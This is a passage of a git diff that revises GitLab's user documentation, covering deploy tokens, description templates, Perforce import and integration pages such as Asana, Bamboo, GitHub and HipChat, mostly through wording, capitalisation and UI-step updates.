cluster. This can cause deployment jobs to fail. To clear the cache: -1. Navigate to your project’s **Operations > Kubernetes** page, and select your cluster. +1. Navigate to your project's **Operations > Kubernetes** page, and select your cluster. 1. Expand the **Advanced settings** section. 1. Click **Clear cluster cache**. diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md index 349040e0bf6..bafb7d472c6 100644 --- a/doc/user/project/clusters/kubernetes_pod_logs.md +++ b/doc/user/project/clusters/kubernetes_pod_logs.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md index 7f344349984..e0b8c074fcf 100644 --- a/doc/user/project/clusters/runbooks/index.md +++ b/doc/user/project/clusters/runbooks/index.md @@ -26,7 +26,7 @@ pre-written code blocks or database queries against a given environment. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45912) in GitLab 11.4. The JupyterHub app offered via the GitLab Kubernetes integration now ships -with Nurtch’s Rubix library, providing a simple way to create DevOps +with Nurtch's Rubix library, providing a simple way to create DevOps runbooks. A sample runbook is provided, showcasing common operations. While Rubix makes it simple to create common Kubernetes and AWS workflows, you can also create them manually without Rubix. diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md index f78fb2ed1ef..f9423c0be2d 100644 --- a/doc/user/project/clusters/serverless/aws.md +++ b/doc/user/project/clusters/serverless/aws.md @@ -134,7 +134,7 @@ This example code does the following: #### Setting up your AWS credentials with your GitLab account In order to interact with your AWS account, the GitLab CI/CD pipelines require both `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to be defined in your GitLab settings under **Settings > CI/CD > Variables**. -For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#create-a-custom-variable-in-the-ui). +For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#custom-variables-validated-by-gitlab). The AWS credentials you provide must include IAM policies that provision correct access control to AWS Lambda, API Gateway, CloudFormation, and IAM resources. @@ -403,7 +403,7 @@ production: environment: production ``` -Let’s examine the configuration file more closely: +Let's examine the configuration file more closely: - `image` specifies the Docker image to use for this build. This is the latest Python image since the sample application is written in Python. @@ -432,7 +432,7 @@ deploys your application. If your: To test the application you deployed, please go to the build log and follow the following steps: -1. Click on “Show complete raw” on the upper right-hand corner: +1. Click on "Show complete raw" on the upper right-hand corner:  diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md index 0f7f5e23e59..e355b562c36 100644 --- a/doc/user/project/clusters/serverless/index.md +++ b/doc/user/project/clusters/serverless/index.md @@ -562,7 +562,7 @@ over `https`, you must manually obtain and install TLS certificates. The simplest way to accomplish this is to use Certbot to [manually obtain Let's Encrypt certificates](https://knative.dev/docs/serving/using-a-tls-cert/#using-certbot-to-manually-obtain-let-s-encrypt-certificates). -Certbot is a free, open source software tool for automatically using Let’s Encrypt +Certbot is a free, open source software tool for automatically using Let's Encrypt certificates on manually-administered websites to enable HTTPS. The following instructions relate to installing and running Certbot on a Linux diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md index 8606ce36a82..842f167f6ec 100644 --- a/doc/user/project/deploy_tokens/index.md +++ b/doc/user/project/deploy_tokens/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Deploy Tokens +# Deploy tokens > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17894) in GitLab 10.7. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199370) from **Settings > Repository** in GitLab 12.9. @@ -23,15 +23,15 @@ Deploy tokens cannot be used with the GitLab API. If you have a key pair, you might want to use [deploy keys](../../project/deploy_keys/index.md) instead. -## Creating a Deploy Token +## Creating a Deploy token You can create as many deploy tokens as you need from the settings of your project. Alternatively, you can also create [group-scoped deploy tokens](#group-deploy-token). 1. Sign in to your GitLab account. -1. Go to the project (or group) you want to create Deploy Tokens for. +1. Go to the project (or group) you want to create deploy tokens for. 1. Go to **Settings > Repository**. -1. Click on "Expand" on **Deploy Tokens** section. +1. Expand the **Deploy tokens** section. 1. Choose a name, expiry date (optional), and username (optional) for the token. 1. Choose the [desired scopes](#limiting-scopes-of-a-deploy-token). 1. Select **Create deploy token**. @@ -46,8 +46,8 @@ Deploy tokens expire at midnight UTC on the date you define. ## Revoking a deploy token -At any time, you can revoke any deploy token by just clicking the respective -**Revoke** button under the 'Active deploy tokens' area. +To revoke a deploy token, under the **Active deploy tokens** area, +select the respective **Revoke** button. ## Limiting scopes of a deploy token @@ -75,11 +75,11 @@ username to be used when creating the deploy token. ### Git clone a repository -To download a repository using a Deploy Token, you just need to: +To download a repository using a deploy token: -1. Create a Deploy Token with `read_repository` as a scope. +1. Create a deploy token with `read_repository` as a scope. 1. Take note of your `username` and `token`. -1. `git clone` the project using the Deploy Token: +1. `git clone` the project using the deploy token: ```shell git clone https://<username>:<deploy_token>@gitlab.example.com/tanuki/awesome_project.git @@ -91,7 +91,7 @@ Replace `<username>` and `<deploy_token>` with the proper values. To read the container registry images, you must: -1. Create a Deploy Token with `read_registry` as a scope. +1. Create a deploy token with `read_registry` as a scope. 1. Take note of your `username` and `token`. 1. Sign in to the GitLab Container Registry using the deploy token: @@ -108,7 +108,7 @@ pull images from your Container Registry. To push the container registry images, you must: -1. Create a Deploy Token with `write_registry` as a scope. +1. Create a deploy token with `write_registry` as a scope. 1. Take note of your `username` and `token`. 1. Sign in to the GitLab Container Registry using the deploy token: @@ -125,7 +125,7 @@ push images to your Container Registry. To pull packages in the GitLab package registry, you must: -1. Create a Deploy Token with `read_package_registry` as a scope. +1. Create a deploy token with `read_package_registry` as a scope. 1. Take note of your `username` and `token`. 1. For the [package type of your choice](../../packages/index.md), follow the authentication instructions for deploy tokens. @@ -152,12 +152,12 @@ Example response: To upload packages in the GitLab package registry, you must: -1. Create a Deploy Token with `write_package_registry` as a scope. +1. Create a deploy token with `write_package_registry` as a scope. 1. Take note of your `username` and `token`. 1. For the [package type of your choice](../../packages/index.md), follow the authentication instructions for deploy tokens. -### Group Deploy Token +### Group deploy token > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21765) in GitLab 12.9. @@ -167,7 +167,7 @@ belong either to the specific group or to one of its subgroups. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Group Deploy Tokens](https://youtu.be/8kxTJvaD9ks). -The Group Deploy Tokens UI is now accessible under **Settings > Repository**, +The Group deploy tokens UI is now accessible under **Settings > Repository**, not **Settings > CI/CD** as indicated in the video. To use a group deploy token: @@ -179,12 +179,12 @@ To use a group deploy token: The scopes applied to a group deploy token (such as `read_repository`) apply consistently when cloning the repository of related projects. -### GitLab Deploy Token +### GitLab deploy token > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18414) in GitLab 10.8. -There's a special case when it comes to Deploy Tokens. If a user creates one -named `gitlab-deploy-token`, the username and token of the Deploy Token is +There's a special case when it comes to deploy tokens. If a user creates one +named `gitlab-deploy-token`, the username and token of the deploy token is automatically exposed to the CI/CD jobs as CI/CD variables: `CI_DEPLOY_USER` and `CI_DEPLOY_PASSWORD`, respectively. diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md index 2267cb55f16..3acef242cef 100644 --- a/doc/user/project/description_templates.md +++ b/doc/user/project/description_templates.md @@ -51,8 +51,10 @@ directory in your repository. Commit and push to your default branch. To create a Markdown file: -1. Click the `+` button next to `master` and click **New file**. -1. Add the name of your issue template to the **File name** text field next to `master`. +1. In a project, go to **Repository**. +1. Next to the default branch, select the **{plus}** button. +1. Select **New file**. +1. Next to the default branch, in the **File name** field, add the name of your issue template. Make sure that your file has the `.md` extension, for example `feature_request.md` or `Feature Request.md`. 1. Commit and push to your default branch. @@ -61,9 +63,12 @@ If you don't have a `.gitlab/issue_templates` directory in your repository, you To create the `.gitlab/issue_templates` directory: -1. Click the `+` button next to `master` and select **New directory**. +1. In a project, go to **Repository**. +1. Next to the default branch, select the **{plus}** button. +1. Select **New directory**. 1. Name this new directory `.gitlab` and commit to your default branch. -1. Click the `+` button next to `master` again and select **New directory**. +1. Next to the default branch, select the **{plus}** button. +1. Select **New directory**. 1. Name your directory `issue_templates` and commit to your default branch. To check if this has worked correctly, [create a new issue](issues/managing_issues.md#create-a-new-issue) @@ -89,32 +94,27 @@ For example: `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_templat  -### Set an issue and merge request description template at group level **(PREMIUM)** +You can set description templates at various levels: -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9. -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled by default on GitLab.com. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to - [enable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). - -Templates can be useful because you can create a template once and use it multiple times. -To re-use templates [you've created](../project/description_templates.md#create-an-issue-template): - -1. Go to the group's **Settings > General > Templates**. -1. From the dropdown, select your template project as the template repository at group level. +- The entire [instance](#set-instance-level-description-templates) +- A specific [group or subgroup](#set-group-level-description-templates) +- A specific [project](#set-a-default-template-for-merge-requests-and-issues) - +The templates are inherited. For example, in a project, you can also access templates set for the +instance or the project's parent groups. -### Set an issue and merge request description template at instance level **(PREMIUM ONLY)** +### Set instance-level description templates **(PREMIUM SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9. > - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled by default on GitLab.com. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to - [enable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). +> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11. +> - It's enabled by default on GitLab.com. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)** + +You can set a description template at the **instance level** for issues +and merge requests. +As a result, these templates are available in all projects within the instance. -Similar to group templates, issue and merge request templates can also be set up at the instance level. -This results in those templates being available in all projects within the instance. Only instance administrators can set instance-level templates. To set the instance-level description template repository: @@ -122,15 +122,41 @@ To set the instance-level description template repository: 1. Select the **Admin Area** icon (**{admin}**). 1. Go to **Settings > Templates**. 1. From the dropdown, select your template project as the template repository at instance level. +1. Select **Save changes**. + + Learn more about [instance template repository](../admin_area/settings/instance_template_repository.md). - +### Set group-level description templates **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9. +> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. +> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11. +> - It's enabled by default on GitLab.com. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)** + +With **group-level** description templates, you can store your templates in a single repository and +configure the group file templates setting to point to that repository. +As a result, you can use the same templates in issues and merge requests in all the group's projects. + +To re-use templates [you've created](../project/description_templates.md#create-an-issue-template): + +1. Go to the group's **Settings > General > Templates**. +1. From the dropdown, select your template project as the template repository at group level. +1. Select **Save changes**. + + ### Set a default template for merge requests and issues **(PREMIUM)** +In a project, you can choose a default description template for new issues and merge requests. +As a result, every time a new merge request or issue is created, it's pre-filled with the text you +entered in the template. + The visibility of issues or merge requests should be set to either "Everyone -with access" or "Only Project Members" in your project's **Settings / Visibility, project features, permissions** section, otherwise the +with access" or "Only Project Members" in your project's +**Settings / Visibility, project features, permissions** section. Otherwise, the template text areas don't show. This is the default behavior, so in most cases you should be fine. @@ -149,9 +175,6 @@ To set a default description template for issues: Because GitLab merge request and issues support [Markdown](../markdown.md), you can use it to format headings, lists, and so on. -Now, every time a new merge request or issue is created, it's pre-filled with the text you entered -in the templates. - [GitLab versions 13.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/885) provide `issues_template` and `merge_requests_template` attributes in the [Projects API](../../api/projects.md) to help you keep your templates up to date. @@ -211,9 +234,9 @@ it's very hard to read otherwise.) Setting issue and merge request description templates at group and instance levels is under development and not ready for production use. It is deployed behind a -feature flag that is **disabled by default**. +feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. +can disable it. To enable it: diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md index 4edb6fbdad9..b51a1b79a13 100644 --- a/doc/user/project/file_lock.md +++ b/doc/user/project/file_lock.md @@ -117,7 +117,7 @@ must **lock the file** before [editing it](#edit-lockable-files). ### Lock files By locking a file, you verify that no one else is editing it, and -prevent anyone else from editing the file until you’re done. On the other +prevent anyone else from editing the file until you're done. On the other hand, when you unlock a file, you communicate that you've finished editing and allow other people to edit it. diff --git a/doc/user/project/img/issue_board_iteration_lists_v13_10.png b/doc/user/project/img/issue_board_iteration_lists_v13_10.png Binary files differnew file mode 100644 index 00000000000..eb3a9524c88 --- /dev/null +++ b/doc/user/project/img/issue_board_iteration_lists_v13_10.png diff --git a/doc/user/project/img/issue_boards_blocked_icon_v13_10.png b/doc/user/project/img/issue_boards_blocked_icon_v13_10.png Binary files differnew file mode 100644 index 00000000000..466b647253d --- /dev/null +++ b/doc/user/project/img/issue_boards_blocked_icon_v13_10.png diff --git a/doc/user/project/img/issue_boards_blocked_icon_v13_6.png b/doc/user/project/img/issue_boards_blocked_icon_v13_6.png Binary files differdeleted file mode 100644 index 2dac6bb2ee3..00000000000 --- a/doc/user/project/img/issue_boards_blocked_icon_v13_6.png +++ /dev/null diff --git a/doc/user/project/img/project_overview_badges.png b/doc/user/project/img/project_overview_badges.png Binary files differdeleted file mode 100644 index 83b9766828a..00000000000 --- a/doc/user/project/img/project_overview_badges.png +++ /dev/null diff --git a/doc/user/project/img/project_overview_badges_v13_10.png b/doc/user/project/img/project_overview_badges_v13_10.png Binary files differnew file mode 100644 index 00000000000..b5510566b1b --- /dev/null +++ b/doc/user/project/img/project_overview_badges_v13_10.png diff --git a/doc/user/project/img/project_repository_settings.png b/doc/user/project/img/project_repository_settings.png Binary files differdeleted file mode 100644 index 69d36753a58..00000000000 --- a/doc/user/project/img/project_repository_settings.png +++ /dev/null diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md index 85c8a3020b9..8040eb07c93 100644 --- a/doc/user/project/import/perforce.md +++ b/doc/user/project/import/perforce.md @@ -15,33 +15,33 @@ include a centralized, proprietary version control system similar to Git. The following list illustrates the main differences between Perforce Helix and Git: -1. In general the biggest difference is that Perforce branching is heavyweight - compared to Git's lightweight branching. When you create a branch in Perforce, - it creates an integration record in their proprietary database for every file - in the branch, regardless how many were actually changed. Whereas Git was - implemented with a different architecture so that a single SHA acts as a pointer - to the state of the whole repository after the changes, making it very easy to branch. - This is what made feature branching workflows so easy to adopt with Git. -1. Also, context switching between branches is much easier in Git. If your manager - said 'You need to stop work on that new feature and fix this security - vulnerability' you can do so very easily in Git. -1. Having a complete copy of the project and its history on your local machine - means every transaction is very fast and Git provides that. You can branch/merge - and experiment in isolation, then clean up your mess before sharing your new - cool stuff with everyone. -1. Git also made code review simple because you could share your changes without - merging them to master, whereas Perforce had to implement a Shelving feature on - the server so others could review changes before merging. +- In general, the biggest difference is that Perforce branching is heavyweight + compared to Git's lightweight branching. When you create a branch in Perforce, + it creates an integration record in their proprietary database for every file + in the branch, regardless how many were actually changed. With Git, however, + a single SHA acts as a pointer to the state of the whole repository after the + changes, which can be helpful when adopting feature branching workflows. +- Context switching between branches is less complex in Git. If your manager + says, 'You need to stop work on that new feature and fix this security + vulnerability,' Git can help you do this. +- Having a complete copy of the project and its history on your local computer + means every transaction is very fast, and Git provides that. You can branch + or merge, and experiment in isolation, and then clean up before sharing your + changes with others. +- Git makes code review less complex, because you can share your changes without + merging them to the default branch. This is compared to Perforce, which had to + implement a Shelving feature on the server so others could review changes + before merging. ## Why migrate Perforce Helix can be difficult to manage both from a user and an administrator perspective. Migrating to Git/GitLab there is: -- **No licensing costs**, Git is GPL while Perforce Helix is proprietary. -- **Shorter learning curve**, Git has a big community and a vast number of +- **No licensing costs**: Git is GPL while Perforce Helix is proprietary. +- **Shorter learning curve**: Git has a big community and a vast number of tutorials to get you started. -- **Integration with modern tools**, migrating to Git and GitLab you can have +- **Integration with modern tools**: By migrating to Git and GitLab, you can have an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md index 189afac1226..91fd7b8928b 100644 --- a/doc/user/project/import/phabricator.md +++ b/doc/user/project/import/phabricator.md @@ -36,13 +36,4 @@ of the project being imported into, then the user will be linked. ## Enabling this feature -While this feature is incomplete, a feature flag is required to enable it so that -we can gain early feedback before releasing it for everyone. To enable it: - -1. Run the following command in a Rails console: - - ```ruby - Feature.enable(:phabricator_import) - ``` - -1. Enable Phabricator as an [import source](../../admin_area/settings/visibility_and_access_controls.md#import-sources) in the Admin Area. +Enable Phabricator as an [import source](../../admin_area/settings/visibility_and_access_controls.md#import-sources) in the Admin Area. diff --git a/doc/user/project/insights/index.md b/doc/user/project/insights/index.md index 1efb3583fbf..72897a1a26e 100644 --- a/doc/user/project/insights/index.md +++ b/doc/user/project/insights/index.md @@ -192,7 +192,7 @@ Supported values are: #### `query.issuable_state` -Filter by the state of the queried "issuable". +Filter by the current state of the queried "issuable". By default, the `opened` state filter is applied. @@ -206,10 +206,10 @@ Supported values are: #### `query.filter_labels` -Filter by labels applied to the queried "issuable". +Filter by labels currently applied to the queried "issuable". By default, no labels filter is applied. All the defined labels must be -applied to the "issuable" in order for it to be selected. +currently applied to the "issuable" in order for it to be selected. Example: @@ -262,7 +262,7 @@ Supported values are: #### `query.period_limit` -Define how far "issuables" are queried in the past. +Define how far "issuables" are queried in the past (using the `query.period_field`). The unit is related to the `query.group_by` you defined. For instance if you defined `query.group_by: 'day'` then `query.period_limit: 365` would mean @@ -303,7 +303,7 @@ you may see `created_at` in place of `merged_at`. `created_at` is used instead. You can limit where the "issuables" can be queried from: -- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group are used. +- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects currently under the group are used. - If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects yields no results. By default, the project itself is used. #### `projects.only` diff --git a/doc/user/project/integrations/asana.md b/doc/user/project/integrations/asana.md new file mode 100644 index 00000000000..b9552fff110 --- /dev/null +++ b/doc/user/project/integrations/asana.md @@ -0,0 +1,44 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Asana service **(FREE)** + +This service adds commit messages as comments to Asana tasks. +Once enabled, commit messages are checked for Asana task URLs (for example, +`https://app.asana.com/0/123456/987654`) or task IDs starting with `#` +(for example, `#987654`). Every task ID found gets the commit comment added to it. + +You can also close a task with a message containing: `fix #123456`. +You can use either of these words: + +- `fix` +- `fixed` +- `fixes` +- `fixing` +- `close` +- `closes` +- `closed` +- `closing` + +See also the [Asana service API documentation](../../../api/services.md#asana). + +## Setup + +In Asana, create a Personal Access Token. +[Learn about Personal Access Tokens in Asana](https://developers.asana.com/docs/personal-access-token). + +Complete these steps in GitLab: + +1. Go to the project you want to configure. +1. Go to the [Integrations page](overview.md#accessing-integrations). +1. Select **Asana**. +1. Ensure that the **Active** toggle is enabled. +1. Paste the token you generated in Asana. +1. (Optional) To restrict this setting to specific branches, list them in the **Restrict to branch** + field, separated with commas. +1. Select **Save changes** or optionally select **Test settings**. + +<!-- ## Troubleshooting --> diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md index 3b012ab4430..1eb8a8c60e0 100644 --- a/doc/user/project/integrations/bamboo.md +++ b/doc/user/project/integrations/bamboo.md @@ -4,11 +4,11 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Atlassian Bamboo CI Service **(FREE)** +# Atlassian Bamboo Service **(FREE)** GitLab provides integration with Atlassian Bamboo for continuous integration. When configured, pushes to a project trigger a build in Bamboo automatically. -Merge requests also display CI status showing whether the build is pending, +Merge requests also display CI/CD status showing whether the build is pending, failed, or completed successfully. It also provides a link to the Bamboo build page for more information. @@ -20,21 +20,21 @@ need to be configured in a Bamboo build plan before GitLab can integrate. ### Complete these steps in Bamboo -1. Navigate to a Bamboo build plan and choose 'Configure plan' from the 'Actions' +1. Navigate to a Bamboo build plan and choose **Configure plan** from the **Actions** dropdown. -1. Select the 'Triggers' tab. -1. Click 'Add trigger'. -1. Enter a description such as 'GitLab trigger' -1. Choose 'Repository triggers the build when changes are committed' -1. Check one or more repositories checkboxes -1. Enter the GitLab IP address in the 'Trigger IP addresses' box. This is a +1. Select the **Triggers** tab. +1. Click **Add trigger**. +1. Enter a description such as **GitLab trigger**. +1. Choose **Repository triggers the build when changes are committed**. +1. Select the checkbox for one or more repositories. +1. Enter the GitLab IP address in the **Trigger IP addresses** box. This is a list of IP addresses that are allowed to trigger Bamboo builds. 1. Save the trigger. 1. In the left pane, select a build stage. If you have multiple build stages you want to select the last stage that contains the Git checkout task. -1. Select the 'Miscellaneous' tab. -1. Under 'Pattern Match Labeling' put `${bamboo.repository.revision.number}` - in the 'Labels' box. +1. Select the **Miscellaneous** tab. +1. Under **Pattern Match Labeling** put `${bamboo.repository.revision.number}` + in the **Labels** box. 1. Save Bamboo is now ready to accept triggers from GitLab. Next, set up the Bamboo @@ -44,18 +44,18 @@ service in GitLab. 1. Navigate to the project you want to configure to trigger builds. 1. Navigate to the [Integrations page](overview.md#accessing-integrations) -1. Click 'Atlassian Bamboo CI' +1. Click **Atlassian Bamboo**. 1. Ensure that the **Active** toggle is enabled. 1. Enter the base URL of your Bamboo server. `https://bamboo.example.com` 1. Enter the build key from your Bamboo build plan. Build keys are typically made up from the Project Key and Plan Key that are set on project/plan creation and - separated with a dash (`-`), for example **PROJ-PLAN**. This is a short, all + separated with a dash (`-`), for example **PROJ-PLAN**. This is a short, all uppercase identifier that is unique. When viewing a plan in Bamboo, the build key is also shown in the browser URL, for example `https://bamboo.example.com/browse/PROJ-PLAN`. 1. If necessary, enter username and password for a Bamboo user that has access to trigger the build plan. Leave these fields blank if you do not require authentication. -1. Save or optionally click 'Test Settings'. Please note that 'Test Settings' +1. Save or optionally click **Test Settings**. Please note that **Test Settings** actually triggers a build in Bamboo. ## Troubleshooting @@ -63,7 +63,7 @@ service in GitLab. ### Builds not triggered If builds are not triggered, ensure you entered the right GitLab IP address in -Bamboo under 'Trigger IP addresses'. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures. +Bamboo under **Trigger IP addresses**. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures. ### Advanced Atlassian Bamboo features not available in GitLab UI diff --git a/doc/user/project/integrations/discord_notifications.md b/doc/user/project/integrations/discord_notifications.md index 624c0252f23..2ec657eec22 100644 --- a/doc/user/project/integrations/discord_notifications.md +++ b/doc/user/project/integrations/discord_notifications.md @@ -10,7 +10,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w The Discord Notifications service sends event notifications from GitLab to the channel for which the webhook was created. -To send GitLab event notifications to a Discord channel, create a webhook in Discord and configure it in GitLab. +To send GitLab event notifications to a Discord channel, [create a webhook in Discord](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) +and configure it in GitLab. ## Create webhook diff --git a/doc/user/project/integrations/emails_on_push.md b/doc/user/project/integrations/emails_on_push.md index 4970e20974b..3ef4a4e5004 100644 --- a/doc/user/project/integrations/emails_on_push.md +++ b/doc/user/project/integrations/emails_on_push.md @@ -18,9 +18,9 @@ The following options are available: - **Push events** - Email is triggered when a push event is received. - **Tag push events** - Email is triggered when a tag is created and pushed. -- **Send from committer** - Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. `user@gitlab.com`). +- **Send from committer** - Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as `user@gitlab.com`). - **Disable code diffs** - Don't include possibly sensitive code diffs in notification body. | Settings | Notification | | --- | --- | -|  |  | +|  |  | diff --git a/doc/user/project/integrations/github.md b/doc/user/project/integrations/github.md index 1c0309cab87..4f5640d9fff 100644 --- a/doc/user/project/integrations/github.md +++ b/doc/user/project/integrations/github.md @@ -18,38 +18,39 @@ and is automatically configured on [GitHub import](../../../integration/github.m ## Configuration -### Complete these steps on GitHub - This integration requires a [GitHub API token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) -with `repo:status` access granted: +with `repo:status` access granted. + +Complete these steps on GitHub: -1. Go to your "Personal access tokens" page at <https://github.com/settings/tokens> -1. Click "Generate New Token" -1. Ensure that `repo:status` is checked and click "Generate token" -1. Copy the generated token to use on GitLab +1. Go to your **Personal access tokens** page at <https://github.com/settings/tokens>. +1. Select **Generate new token**. +1. Under **Note**, enter a name for the new token. +1. Ensure that `repo:status` is checked and select **Generate token**. +1. Copy the generated token to use in GitLab. -### Complete these steps on GitLab +Complete these steps in GitLab: -1. Navigate to the project you want to configure. -1. Navigate to the [Integrations page](overview.md#accessing-integrations) -1. Click "GitHub". +1. Go to the project you want to configure. +1. Go to the [Integrations page](overview.md#accessing-integrations) +1. Select **GitHub**. 1. Ensure that the **Active** toggle is enabled. -1. Paste the token you've generated on GitHub -1. Enter the path to your project on GitHub, such as `https://github.com/username/repository` -1. Optionally uncheck **Static status check names** checkbox to disable static status check names. -1. Save or optionally click "Test Settings". +1. Paste the token you generated on GitHub. +1. Enter the path to your project on GitHub, such as `https://github.com/username/repository`. +1. (Optional) To disable static status check names, clear the **Static status check names** checkbox. +1. Select **Save changes** or optionally select **Test settings**. -Once the integration is configured, see [Pipelines for external pull requests](../../../ci/ci_cd_for_external_repos/#pipelines-for-external-pull-requests) +After configuring the integration, see [Pipelines for external pull requests](../../../ci/ci_cd_for_external_repos/#pipelines-for-external-pull-requests) to configure pipelines to run for open pull requests. -#### Static / dynamic status check names +### Static / dynamic status check names > - Introduced in GitLab 11.5: using static status check names as opt-in option. > - [In GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/9931), static status check names is default behavior for new projects. -This makes it possible to mark these status checks as _Required_ on GitHub. -With **Static status check names** enabled on the integration page, your -GitLab instance host name is appended to a status check name, -whereas in case of dynamic status check names, a branch name is appended. +This makes it possible to mark these status checks as **Required** on GitHub. + +When **Static status check names** is enabled on the integration page, your +GitLab instance host name is appended to a status check name. - +When disabled, it uses dynamic status check names and appends the branch name. diff --git a/doc/user/project/integrations/hipchat.md b/doc/user/project/integrations/hipchat.md index 9c0eb571f66..63772936fd4 100644 --- a/doc/user/project/integrations/hipchat.md +++ b/doc/user/project/integrations/hipchat.md @@ -1,64 +1,7 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'index.md' --- -# Atlassian HipChat (Deprecated) **(FREE)** - -As of [GitLab -13.11](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57434), the -HipChat integration will not send any notifications to HipChat. This -integration is also deprecated. - -GitLab provides a way to send HipChat notifications upon a number of events, -such as when a user pushes code, creates a branch or tag, adds a comment, and -creates a merge request. - -## Setup - -GitLab requires the use of a HipChat v2 API token to work. v1 tokens are -not supported at this time. Note the differences between v1 and v2 tokens: - -HipChat v1 API (legacy) supports "API Auth Tokens" in the Group API menu. A v1 -token is allowed to send messages to *any* room. - -HipChat v2 API has tokens that are can be created using the Integrations tab -in the Group or Room administration page. By design, these are lightweight tokens that -allow GitLab to send messages only to *one* room. - -### Complete these steps in HipChat - -1. Go to: `https://admin.hipchat.com/admin` -1. Click on "Group Admin" -> "Integrations". -1. Find "Build Your Own!" and click "Create". -1. Select the desired room, name the integration "GitLab", and click "Create". -1. In the "Send messages to this room by posting this URL" column, you should - see a URL in the format: - -```plaintext -https://api.hipchat.com/v2/room/<room>/notification?auth_token=<token> -``` - -HipChat is now ready to accept messages from GitLab. Next, set up the HipChat -service in GitLab. - -### Complete these steps in GitLab - -1. Navigate to the project you want to configure for notifications. -1. Navigate to the [Integrations page](overview.md#accessing-integrations) -1. Click "HipChat". -1. Ensure that the **Active** toggle is enabled. -1. Insert the `token` field from the URL into the `Token` field on the Web page. -1. Insert the `room` field from the URL into the `Room` field on the Web page. -1. Save or optionally click "Test Settings". - -## Troubleshooting - -If you do not see notifications, make sure you are using a HipChat v2 API -token, not a v1 token. - -Note that the v2 token is tied to a specific room. If you want to be able to -specify arbitrary rooms, you can create an API token for a specific user in -HipChat under "Account settings" and "API access". Use the `XXX` value under -`auth_token=XXX`. +This document was moved to [another location](index.md). +<!-- This redirect file can be deleted after 2021-06-30. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/img/emails_on_push_service_v13_11.png b/doc/user/project/integrations/img/emails_on_push_service_v13_11.png Binary files differnew file mode 100644 index 00000000000..e895b4b771f --- /dev/null +++ b/doc/user/project/integrations/img/emails_on_push_service_v13_11.png diff --git 